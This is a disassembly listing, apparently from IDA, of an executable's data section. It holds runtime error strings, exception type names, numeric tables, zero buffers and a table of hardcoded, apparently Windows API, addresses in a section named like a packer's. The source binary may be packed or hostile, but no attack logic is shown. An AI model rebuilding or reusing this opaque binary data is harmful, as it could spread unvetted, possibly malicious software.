		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43B1D0	dd 3			; DATA XREF: sub_41E624+58r
					; sub_421401+C8r
dword_43B1D4	dd 7			; DATA XREF: sub_41E624+5Er
					; sub_421401+CDr
dword_43B1D8	dd 0Ah			; DATA XREF: sub_41E765+4r
					; sub_42152E+4r
dword_43B1DC	dd 8Ch			; DATA XREF: sub_41E624+82r
					; sub_41E624+8Fw ...
dword_43B1E0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41AB28:loc_41ABA9o
					; sub_41B06F:loc_41B12Co
dword_43B1E8	dd 2			; DATA XREF: sub_41EEFD+Eo
					; sub_41EEFD+28r
off_43B1EC	dd offset aR6002FloatingP ; DATA XREF: sub_41EEFD+FCr
					; sub_41EEFD+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 423B54h, 9, 423B28h, 0Ah,	423B04h, 10h, 423AD8h
		dd 11h,	423AA8h, 12h, 423A84h, 13h, 423A58h, 18h, 423A20h
		dd 19h,	4239F8h, 1Ah, 4239C0h, 1Bh, 423988h, 1Ch, 423960h
		dd 78h,	423950h, 79h, 423940h, 7Ah, 423930h, 0FCh, 435C74h
		dd 0FFh, 423920h
off_43B278	dd offset dword_4D8A00	; DATA XREF: sub_41EEFD+1Bo
					; sub_41F417+55o
		dd 0
		dd offset dword_4D8A00
		dd 101h
dword_43B288	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41F417+72o
		dd 1000h, 0
dword_43B298	dd 3 dup(0)		; DATA XREF: sub_41B06F+50o
					; sub_41BF2B+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43B2B8	dd 3 dup(0)		; DATA XREF: sub_41B06F+58o
					; sub_41BF2B:loc_41BF49o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43B2E8	dd 84h dup(0)		; DATA XREF: sub_41F417+9Bo
dword_43B4F8	dd 2 dup(0)		; DATA XREF: sub_41F417+69o
dword_43B500	dd 2694h		; DATA XREF: sub_41CAA6+3r
					; sub_41CAF9+46r
		align 8
dword_43B508	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_41FFCCo
dword_43B520	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41FFE2o
dword_43B538	dd 7080h		; DATA XREF: sub_41E121+76r
					; sub_4202CC+5Ew ...
dword_43B53C	dd 1			; DATA XREF: sub_41E121+98r
					; sub_4202CC+8Bw ...
dword_43B540	dd 0FFFFF1F0h		; DATA XREF: sub_41E121:loc_41E1D3r
					; sub_4202CC+94w ...
dword_43B544	dd 545350h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_43B5C4o
dword_43B584	dd 544450h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_43B5C8o
off_43B5C4	dd offset dword_43B544	; DATA XREF: sub_4202CC+BAr
					; sub_4202CC+D9r ...
off_43B5C8	dd offset dword_43B584	; DATA XREF: sub_4202CC+F4r
					; sub_4202CC+11Br ...
		align 10h
dword_43B5D0	dd 0FFFFFFFFh		; DATA XREF: sub_4202CC+1Dw
					; sub_42052A+1Er ...
dword_43B5D4	dd 0			; DATA XREF: sub_42052A:loc_42065Er
					; sub_4206D6+BFw
dword_43B5D8	dd 0			; DATA XREF: sub_42052A+192r
					; sub_4206D6+E0w
		align 10h
dword_43B5E0	dd 0FFFFFFFFh		; DATA XREF: sub_4202CC+17w
					; sub_42052A+26r ...
dword_43B5E4	dd 0			; DATA XREF: sub_42052A+13Ar
					; sub_4206D6+EAw ...
dword_43B5E8	dd 0			; DATA XREF: sub_42052A+1A1r
					; sub_4206D6+23r ...
dword_43B5EC	dd 0FFFFFFFFh		; DATA XREF: sub_4206D6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43B61C	dd 16Dh			; DATA XREF: sub_41E121+2Ar
					; sub_4206D6+2Er ...
dword_43B620	dd 0FFFFFFFFh		; DATA XREF: sub_4206D6:loc_420762r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43B658	dd 2 dup(0)		; DATA XREF: sub_421886+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43B7B8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_421886+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_43B918	dd offset off_423D44	; DATA XREF: .nsp0:off_423D68o
					; .nsp0:00423E94o ...
		align 10h
a_?avexception@	db '.?AVexception@@',0
off_43B930	dd offset off_423D44	; DATA XREF: .nsp0:off_423D80o
					; .nsp0:00423E14o ...
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_43B950	dd offset off_423D44	; DATA XREF: .nsp0:off_423D98o
					; .nsp0:00423DDCo ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43B970	dd offset off_423D44	; DATA XREF: .nsp0:off_423E20o
					; .nsp0:00423E64o ...
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_43B990	dd offset off_423D44	; DATA XREF: .nsp0:off_423EA0o
					; .nsp0:00423EDCo
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_4201EC
		align 10h
dword_43B9B0	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43B9B8	db 0			; DATA XREF: sub_40111D+62o
					; sub_401221+24Ao ...
		align 10h
dword_43B9C0	dd 0			; DATA XREF: sub_401221+38Co
					; sub_401AC7+737o ...
		dd 5 dup(0)
dword_43B9D8	dd 0			; DATA XREF: sub_401AC7+8C5r
					; sub_413A66+60r
		dd 2D9h	dup(0)
dword_43C540	dd 0			; DATA XREF: sub_401AC7+5594r
					; sub_401AC7+5696r ...
		dd 7Fh dup(0)
dword_43C740	dd 0			; DATA XREF: sub_40A203+41w
					; sub_40A33E+40w ...
dword_43C744	dd 0			; DATA XREF: sub_40A203+47w
					; sub_40A33E+46w ...
dword_43C748	dd 0			; DATA XREF: sub_40A203+52w
					; sub_40A33E+3Ar ...
dword_43C74C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017E7+B9w ...
dword_43C750	dd 0			; DATA XREF: sub_40A33E+75r
					; sub_40A51F+2Aw ...
dword_43C754	dd 0			; DATA XREF: sub_401221+3D8w
					; sub_401221+450w ...
byte_43C758	db 0			; DATA XREF: sub_4017E7+91o
					; sub_401AC7+54DCr ...
		align 4
		dd 23FDh dup(0)
dword_445750	dd 473Ch dup(0)		; DATA XREF: .nsp0:off_435BBCo
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .nsp0:off_439240o
		dd 0F4FFh dup(0)
		db 3 dup(0)
byte_494843	db 0			; DATA XREF: .nsp0:off_427B68o
		dd 8280h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .nsp0:off_4390ACo
dword_4B5248	dd 50BEh dup(0)
dword_4C9540	dd 0BC1Bh		; DATA XREF: sub_40111D+FDw
					; sub_40A203+13o ...
dword_4C9544	dd 1Bh			; DATA XREF: sub_401221+3Dw
					; sub_401AC7:loc_404035r ...
dword_4C9548	dd 0			; DATA XREF: sub_401221:loc_4016F9o
dword_4C954C	dd 20h dup(0)		; DATA XREF: sub_401221+48Fo
					; sub_401221+529o ...
dword_4C95CC	dd 10h dup(0)		; DATA XREF: sub_401221+4A5o
dword_4C960C	dd 24h dup(0)		; DATA XREF: sub_401221+4BCo
dword_4C969C	dd 0			; DATA XREF: sub_401221+4B0w
					; sub_401221+540w ...
dword_4C96A0	dd 0			; DATA XREF: sub_401221+4CFw
		align 10h
dword_4C96B0	dd 0			; DATA XREF: sub_401221+13Ar
byte_4C96B4	db 0			; DATA XREF: sub_40194F+28r
					; sub_40194F+30o
		align 4
byte_4C96B8	db 0			; DATA XREF: sub_401221:loc_401783r
					; sub_401221+570o
		align 4
dword_4C96BC	dd 0			; DATA XREF: sub_401221+586o
dword_4C96C0	dd 0			; DATA XREF: sub_401221+598o
dword_4C96C4	dd 0			; DATA XREF: sub_401221+4DDw
					; sub_401221+4F4r ...
dword_4C96C8	dd 0			; DATA XREF: sub_401221+494w
					; sub_401AC7+838r
dword_4C96CC	dd 0			; DATA XREF: sub_401AC7+6FB6o
					; sub_40BAA5+13o ...
dword_4C96D0	dd 77C72C6Bh		; DATA XREF: sub_408CF8+44Dw
					; sub_408CF8+491r
dword_4C96D4	dd 77EBA994h		; DATA XREF: sub_408CF8+65w
					; sub_41671A+166r
dword_4C96D8	dd 7622A3F4h		; DATA XREF: sub_408CF8+7B1w
					; sub_408CF8+826r ...
dword_4C96DC	dd 71C45229h		; DATA XREF: sub_408CF8+97Ew
					; sub_408CF8+9E9r ...
dword_4C96E0	dd 71C24870h		; DATA XREF: sub_408CF8+930w
					; sub_408CF8+9B9r ...
dword_4C96E4	dd 77C71BB0h		; DATA XREF: sub_408CF8+433w
					; sub_408CF8+481r
dword_4C96E8	dd 71C4502Ch		; DATA XREF: sub_408CF8+971w
					; sub_408CF8+9E1r ...
dword_4C96EC	dd 77DE801Bh		; DATA XREF: sub_408CF8+318w
					; sub_408CF8+36Dr ...
dword_4C96F0	dd 77DDACABh		; DATA XREF: sub_408CF8+3B5w
					; sub_417368+11Er
dword_4C96F4	dd 77DE8075h		; DATA XREF: sub_408CF8+325w
					; sub_408CF8+375r ...
dword_4C96F8	dd 77DD7496h		; DATA XREF: sub_408CF8+366w
					; sub_415D08+ADr
dword_4C96FC	dd 71AB1B7Bh		; DATA XREF: sub_408CF8+500w
					; sub_40E1DC+115r ...
dword_4C9700	dd 77E686CCh		; DATA XREF: sub_408CF8+72w
					; sub_408CF8+D2r ...
dword_4C9704	dd 71C2498Bh		; DATA XREF: sub_408CF8+923w
					; sub_408CF8+9ACr ...
dword_4C9708	dd 77DDAB2Fh		; DATA XREF: sub_408CF8+34Cw
					; sub_408CF8+38Dr ...
dword_4C970C	dd 7620E8C3h		; DATA XREF: sub_408CF8+7FFw
					; sub_408CF8+852r
dword_4C9710	dd 77DD23D7h		; DATA XREF: sub_408CF8+24Bw
					; sub_408CF8+296r ...
dword_4C9714	dd 76214750h		; DATA XREF: sub_408CF8+7F2w
					; sub_408CF8+84Ar ...
dword_4C9718	dd 77E6D75Bh		; DATA XREF: sub_408CF8+B3w
dword_4C971C	dd 7620BD61h		; DATA XREF: sub_408CF8+80Cw
					; sub_408CF8+85Ar ...
dword_4C9720	dd 71AB60C9h		; DATA XREF: sub_408CF8+4F3w
					; sub_408CF8+676r ...
dword_4C9724	dd 77EBA6E9h		; DATA XREF: sub_408CF8+58w
					; sub_408CF8+CAr ...
dword_4C9728	dd 76D62A58h		; DATA XREF: sub_408CF8+8DAw
					; sub_411C3B+11Ar
dword_4C972C	dd 76F36EAAh		; DATA XREF: sub_401AC7:loc_403A6Fr
					; sub_408CF8+A3Bw ...
dword_4C9730	dd 77E802FCh		; DATA XREF: sub_408CF8+A6w
					; sub_408CF8+F2r
dword_4C9734	dd 77C75455h		; DATA XREF: sub_408CF8+426w
					; sub_408CF8+479r
dword_4C9738	dd 71AB12A7h		; DATA XREF: sub_408CF8+59Cw
					; sub_40B0A8+20r ...
dword_4C973C	dd 71C574FAh		; DATA XREF: sub_408CF8+964w
					; sub_408CF8+9D9r
dword_4C9740	dd 71AB1746h		; DATA XREF: sub_408CF8+58Fw
					; sub_408CF8+6FAr ...
dword_4C9744	dd 71C21CA3h		; DATA XREF: sub_408CF8+9B2w
					; sub_40A3FE+3Do
dword_4C9748	dd 71B28D0Dh		; DATA XREF: sub_408CF8+AF6w
dword_4C974C	dd 762211EFh		; DATA XREF: sub_408CF8+7A4w
					; sub_408CF8+813r
dword_4C9750	dd 77D902E3h		; DATA XREF: sub_408CF8+1B3w
					; sub_41540C+15r
dword_4C9754	dd 71C2FA86h		; DATA XREF: sub_408CF8+93Dw
					; sub_408CF8+9C1r ...
dword_4C9758	dd 77DE1291h		; DATA XREF: sub_408CF8+332w
					; sub_408CF8+37Dr ...
dword_4C975C	dd 77E2C1B3h		; DATA XREF: sub_408CF8+33Fw
					; sub_408CF8+385r ...
dword_4C9760	dd 71ABF628h		; DATA XREF: sub_408CF8+652w
					; sub_40F8B7+D0r
dword_4C9764	dd 71AB1836h		; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4C9768	dd 77C72889h		; DATA XREF: sub_408CF8+45Aw
dword_4C976C	dd 71C453F8h		; DATA XREF: sub_408CF8+98Bw
					; sub_408CF8+9F1r ...
dword_4C9770	dd 77DD5C55h		; DATA XREF: sub_401000+51r
					; sub_408CF8+258w ...
dword_4C9774	dd 77E96645h		; DATA XREF: sub_408CF8+7Fw
					; sub_408CF8+DAr ...
dword_4C9778	dd 77428B97h		; DATA XREF: sub_401AC7+5046r
					; sub_401AC7+6BDDr ...
dword_4C977C	dd 71AB41DAh		; DATA XREF: sub_401221+8Cr
					; sub_401AC7+483Dr ...
dword_4C9780	dd 762059A3h		; DATA XREF: sub_408CF8+7CBw
					; sub_408CF8+836r
dword_4C9784	dd 71C4A1B4h		; DATA XREF: sub_408CF8+94Aw
					; sub_408CF8+9C9r
dword_4C9788	dd 1F7CD214h		; DATA XREF: sub_408CF8+BB4w
					; sub_408CF8+BE5r
dword_4C978C	dd 77E09134h		; DATA XREF: sub_408CF8+272w
					; sub_4155B6+47r
dword_4C9790	dd 76D629BBh		; DATA XREF: sub_408CF8+8C0w
					; sub_408CF8+8D4r ...
dword_4C9794	dd 1F7B9D96h		; DATA XREF: sub_408CF8+BCEw
dword_4C9798	dd 77E09070h		; DATA XREF: sub_408CF8+27Fw
					; sub_4155B6+4Fr
dword_4C979C	dd 71AB1740h		; DATA XREF: sub_408CF8+51Aw
					; sub_408CF8+68Er ...
dword_4C97A0	dd 7620AFB6h		; DATA XREF: sub_408CF8+7E5w
					; sub_408CF8+819r
dword_4C97A4	dd 77D45B19h		; DATA XREF: sub_408CF8+172w
					; sub_408CF8+1C2r
dword_4C97A8	dd 71AB157Eh		; DATA XREF: sub_401AC7+1986r
					; sub_401AC7+51FCr ...
dword_4C97AC	dd 71AB3E5Dh		; DATA XREF: sub_4017E7+C4r
					; sub_401AC7+48C7r ...
dword_4C97B0	dd 71AB14DCh		; DATA XREF: sub_408CF8+50Dw
					; sub_408CF8+682r ...
dword_4C97B4	dd 0CC0004h		; DATA XREF: sub_408CF8+881w
					; sub_408CF8:loc_409597w ...
dword_4C97B8	dd 77DD590Bh		; DATA XREF: sub_401000+26r
					; sub_408CF8+231w ...
dword_4C97BC	dd 71ABD755h		; DATA XREF: sub_401AC7+6B5Cr
					; sub_408CF8+645w ...
dword_4C97C0	dd 77DF7311h		; DATA XREF: sub_408CF8+2D3w
					; sub_408CF8+2E7r ...
dword_4C97C4	dd 77DDA2AFh		; DATA XREF: sub_408CF8+359w
					; sub_408CF8+395r ...
dword_4C97C8	dd 1F7CD927h		; DATA XREF: sub_408CF8+BA7w
					; sub_408CF8+BDDr
dword_4C97CC	dd 76206853h		; DATA XREF: sub_408CF8+7BEw
					; sub_408CF8+82Er
dword_4C97D0	dd 77D5E310h		; DATA XREF: sub_408CF8+18Cw
					; sub_408CF8+1D2r ...
dword_4C97D4	dd 76206B7Fh		; DATA XREF: sub_408CF8+7D8w
					; sub_408CF8+83Er
dword_4C97D8	dd 71AB1444h		; DATA XREF: sub_408CF8+5CAw
					; sub_408CF8+71Ar ...
dword_4C97DC	dd 77DD189Ah		; DATA XREF: sub_401000+5Ar
					; sub_408CF8+265w ...
dword_4C97E0	dd 71AB3F8Dh		; DATA XREF: sub_408CF8+611w
					; sub_408CF8+742r ...
dword_4C97E4	dd 77DD5D20h		; DATA XREF: sub_408CF8+2C6w
					; sub_408CF8+2DAr ...
dword_4C97E8	dd 71AB1890h		; DATA XREF: sub_408CF8+5EAw
					; sub_408CF8+72Ar ...
dword_4C97EC	dd 77C76B34h		; DATA XREF: sub_408CF8+3F2w
					; sub_408CF8+454r
dword_4C97F0	dd 77D5E38Ch		; DATA XREF: sub_408CF8+199w
					; sub_408CF8+1DAr ...
dword_4C97F4	dd 77DDA20Bh		; DATA XREF: sub_408CF8+30Bw
					; sub_408CF8+360r ...
dword_4C97F8	dd 76F36EEBh		; DATA XREF: sub_408CF8+A48w
dword_4C97FC	dd 71AB12A7h		; DATA XREF: sub_408CF8+582w
					; sub_408CF8+6EEr ...
dword_4C9800	dd 71AB1746h		; DATA XREF: sub_4017E7+3Er
					; sub_401AC7+4879r ...
dword_4C9804	dd 77EBA595h		; DATA XREF: sub_408CF8+4Bw
					; sub_408CF8+C2r ...
dword_4C9808	dd 77C7531Dh		; DATA XREF: sub_408CF8+419w
					; sub_408CF8+471r
dword_4C980C	dd 77D4BDCAh		; DATA XREF: sub_408CF8+165w
					; sub_408CF8+1BAr ...
dword_4C9810	dd 71C3516Ah		; DATA XREF: sub_408CF8+9A5w
					; sub_408CF8+A01r ...
dword_4C9814	dd 71AB32CAh		; DATA XREF: sub_408CF8+62Bw
					; sub_408CF8+752r ...
dword_4C9818	dd 71AB5690h		; DATA XREF: sub_40194F+D1r
					; sub_401AC7+48DCr ...
dword_4C981C	dd 1F7CB8F8h		; DATA XREF: sub_408CF8+BC1w
					; sub_408CF8+BEDr
dword_4C9820	dd 77EBB1E7h		; DATA XREF: sub_408CF8+3Ew
					; sub_408CF8+BAr ...
dword_4C9824	dd 77DD59F0h		; DATA XREF: sub_401000+45r
					; sub_408CF8+23Ew ...
dword_4C9828	dd 71AB5DE2h		; DATA XREF: sub_408CF8+5F7w
					; sub_408CF8+732r ...
dword_4C982C	dd 71AB3ECEh		; DATA XREF: sub_408CF8+5DDw
					; sub_408CF8+722r ...
dword_4C9830	dd 76204E4Dh		; DATA XREF: sub_408CF8+81Fw
					; sub_413F23+4DCr
dword_4C9834	dd 0			; DATA XREF: sub_408CF8+112w
dword_4C9838	dd 1F7D886Ah		; DATA XREF: sub_408CF8+B8Dw
					; sub_408CF8+BC8r
dword_4C983C	dd 71AB12F8h		; DATA XREF: sub_401AC7+2A5Fr
					; sub_401AC7+56C7r ...
dword_4C9840	dd 77C76551h		; DATA XREF: sub_408CF8+3FFw
					; sub_408CF8+461r
dword_4C9844	dd 77C729E2h		; DATA XREF: sub_408CF8+440w
					; sub_408CF8+489r
dword_4C9848	dd 77C7212Fh		; DATA XREF: sub_408CF8+40Cw
					; sub_408CF8+469r
dword_4C984C	dd 71AB1AF4h		; DATA XREF: sub_40194F+89r
					; sub_401AC7+48F9r ...
dword_4C9850	dd 77D5E303h		; DATA XREF: sub_408CF8+1A6w
					; sub_408CF8+1E2r ...
dword_4C9854	dd 71C4576Ch		; DATA XREF: sub_408CF8+998w
					; sub_408CF8+9F9r ...
dword_4C9858	dd 77D4702Fh		; DATA XREF: sub_408CF8+158w
					; sub_408CF8+1ADr ...
dword_4C985C	dd 77E6C0E3h		; DATA XREF: sub_408CF8+8Cw
					; sub_408CF8+E2r ...
dword_4C9860	dd 71AB1ED3h		; DATA XREF: sub_408CF8+5B6w
					; sub_408CF8+70Ar ...
dword_4C9864	dd 71B2A381h		; DATA XREF: sub_408CF8+AE9w
					; sub_408CF8+B05r
dword_4C9868	dd 77DDA595h		; DATA XREF: sub_408CF8+2E0w
					; sub_4166AF+55r
dword_4C986C	dd 77DD22EAh		; DATA XREF: sub_408CF8+224w
					; sub_408CF8+279r ...
dword_4C9870	dd 773F97B0h		; DATA XREF: sub_408CF8+B50w
dword_4C9874	dd 76D67A29h		; DATA XREF: sub_408CF8+A92w
					; sub_409C3F+CEr
dword_4C9878	dd 76D674FAh		; DATA XREF: sub_408CF8+A85w
					; sub_408CF8+A8Cr ...
dword_4C987C	dd 71AB3C22h		; DATA XREF: sub_4017E7+A6r
					; sub_401AC7+4858r ...
dword_4C9880	dd 71AB2BBFh		; DATA XREF: sub_401AC7+484Ar
					; sub_401AC7+6B83r ...
dword_4C9884	dd 1F7BA3A9h		; DATA XREF: sub_408CF8+B9Aw
					; sub_408CF8+BD5r
dword_4C9888	dd 71AB401Ch		; DATA XREF: sub_401AC7+19ACr
					; sub_401AC7+5222r ...
dword_4C988C	dd 71C214BAh		; DATA XREF: sub_408CF8+957w
					; sub_408CF8+9D1r ...
dword_4C9890	dd 71AB868Dh		; DATA XREF: sub_408CF8+604w
					; sub_408CF8+73Ar ...
dword_4C9894	dd 71AB1A6Dh		; DATA XREF: sub_40111D+12r
					; sub_4017E7+D0r ...
dword_4C9898	dd 71AB155Ah		; DATA XREF: sub_408CF8+541w
					; sub_408CF8+6B2r ...
dword_4C989C	dd 71B22C25h		; DATA XREF: sub_408CF8+ADCw
					; sub_408CF8+AFDr
dword_4C98A0	dd 71AB5A01h		; DATA XREF: sub_408CF8+4E6w
					; sub_408CF8+66Ar ...
dword_4C98A4	dd 71B2ACCBh		; DATA XREF: sub_408CF8+ACFw
					; sub_408CF8+AF0r
dword_4C98A8	dd 77E78C17h		; DATA XREF: sub_401221+52r
					; sub_408CF8+31w ...
dword_4C98AC	dd 77D49A11h		; DATA XREF: sub_408CF8+17Fw
					; sub_408CF8+1CAr
		dd 0
dword_4C98B4	dd 76D62A37h		; DATA XREF: sub_408CF8+8CDw
					; sub_408CF8+8E1r ...
dword_4C98B8	dd 77E6CBF9h		; DATA XREF: sub_408CF8+99w
					; sub_408CF8+EAr ...
dword_4C98BC	dd 0			; DATA XREF: sub_408CF8:loc_408DF6w
					; sub_408CF8+12Bw ...
dword_4C98C0	dd 0			; DATA XREF: sub_408CF8+126w
					; sub_409910+1Cr
dword_4C98C4	dd 0			; DATA XREF: sub_408CF8:loc_408EF3w
					; sub_409910:loc_409958r
dword_4C98C8	dd 0			; DATA XREF: sub_408CF8+1F6w
					; sub_409910+50r
dword_4C98CC	dd 0			; DATA XREF: sub_401221+346r
					; sub_401AC7+3C98r ...
dword_4C98D0	dd 0			; DATA XREF: sub_408CF8+3C4w
					; sub_409910+84r
dword_4C98D4	dd 0			; DATA XREF: sub_408CF8:loc_4091A2w
					; sub_409910:loc_4099C0r
dword_4C98D8	dd 0			; DATA XREF: sub_408CF8+4A5w
					; sub_409910+B8r
dword_4C98DC	dd 0			; DATA XREF: sub_408CF8:loc_409473w
					; sub_409910:loc_4099F4r
dword_4C98E0	dd 0			; DATA XREF: sub_408CF8+776w
					; sub_409910+ECr
dword_4C98E4	dd 0			; DATA XREF: sub_408CF8:loc_40955Ew
					; sub_408CF8+895w ...
dword_4C98E8	dd 0			; DATA XREF: sub_408CF8+890w
					; sub_409910+120r
dword_4C98EC	dd 0			; DATA XREF: sub_401AC7:loc_406640r
					; sub_408CF8:loc_4095F2w ...
dword_4C98F0	dd 0			; DATA XREF: sub_408CF8+8F5w
					; sub_409910+154r
dword_4C98F4	dd 0			; DATA XREF: sub_401AC7+3CA0r
					; sub_408CF8:loc_40970Ew ...
dword_4C98F8	dd 0			; DATA XREF: sub_408CF8+A11w
					; sub_409910+188r
dword_4C98FC	dd 0			; DATA XREF: sub_408CF8:loc_409758w
					; sub_409910:loc_409AC4r
dword_4C9900	dd 0			; DATA XREF: sub_408CF8+A5Bw
					; sub_409910+1BCr
dword_4C9904	dd 0			; DATA XREF: sub_408CF8:loc_4097A2w
					; sub_409910:loc_409AF8r
dword_4C9908	dd 0			; DATA XREF: sub_408CF8+AA5w
					; sub_409910+1F0r
dword_4C990C	dd 0			; DATA XREF: sub_408CF8:loc_409816w
					; sub_409910:loc_409B2Cr
dword_4C9910	dd 0			; DATA XREF: sub_408CF8+B19w
					; sub_409910+224r
dword_4C9914	dd 0			; DATA XREF: sub_408CF8:loc_409860w
					; sub_409910:loc_409B60r
dword_4C9918	dd 0			; DATA XREF: sub_408CF8+B63w
					; sub_409910+258r
dword_4C991C	dd 0			; DATA XREF: sub_408CF8:loc_4098FEw
					; sub_409910:loc_409B94r
dword_4C9920	dd 0			; DATA XREF: sub_408CF8+C01w
					; sub_409910+28Cr
		dd 2 dup(0)
dword_4C992C	dd 7 dup(0)		; DATA XREF: sub_409D1D+32o
dword_4C9948	dd 0			; DATA XREF: sub_40AB5B+18r
					; sub_40B0F0+92w ...
dword_4C994C	dd 0			; DATA XREF: sub_40B229+4Dr
					; sub_40B43D+D9w ...
		dd 7FEh	dup(0)
dword_4CB948	dd 6 dup(0)		; DATA XREF: sub_40B229+CFo
					; sub_40B229+138o ...
dword_4CB960	dd 0			; DATA XREF: sub_40ABD2+2C4w
					; sub_40ABD2+348o
dword_4CB964	dd 0			; DATA XREF: sub_40ABD2+33Ew
					; sub_40ABD2+35Ar
dword_4CB968	dd 0			; DATA XREF: sub_40ABD2+2CFw
dword_4CB96C	dd 0			; DATA XREF: sub_40ABD2+2B9w
					; sub_40ABD2:loc_40AEE7r
dword_4CB970	dd 20h dup(0)		; DATA XREF: sub_40ABD2+2E2o
					; sub_40ABD2+302o
dword_4CB9F0	dd 0			; DATA XREF: sub_40ABD2+2D5w
dword_4CB9F4	dd 0			; DATA XREF: sub_40ABD2+2EFw
					; sub_40ABD2+30Fw
dword_4CB9F8	dd 0			; DATA XREF: sub_40ABD2:loc_40AF42r
		align 10h
dword_4CBA00	dd 0			; DATA XREF: sub_40ABD2+82w
					; sub_40ABD2+101o
dword_4CBA04	dd 41h dup(0)		; DATA XREF: sub_40ABD2+41o
dword_4CBB08	dd 41h dup(0)		; DATA XREF: sub_40ABD2+69o
dword_4CBC0C	dd 0			; DATA XREF: sub_40ABD2+F7w
					; sub_40ABD2+113r
dword_4CBC10	dd 0			; DATA XREF: sub_40ABD2+52w
dword_4CBC14	dd 0			; DATA XREF: sub_40ABD2+4Dw
					; sub_40ABD2+D4r
dword_4CBC18	dd 20h dup(0)		; DATA XREF: sub_40ABD2+9Ao
					; sub_40ABD2+BAo
dword_4CBC98	dd 0			; DATA XREF: sub_40ABD2+8Fw
dword_4CBC9C	dd 0			; DATA XREF: sub_40ABD2+A7w
					; sub_40ABD2+C7w
dword_4CBCA0	dd 0			; DATA XREF: sub_40ABD2:loc_40ACFBr
		align 8
dword_4CBCA8	dd 0			; DATA XREF: sub_40ABD2+1A5w
					; sub_40ABD2+225o
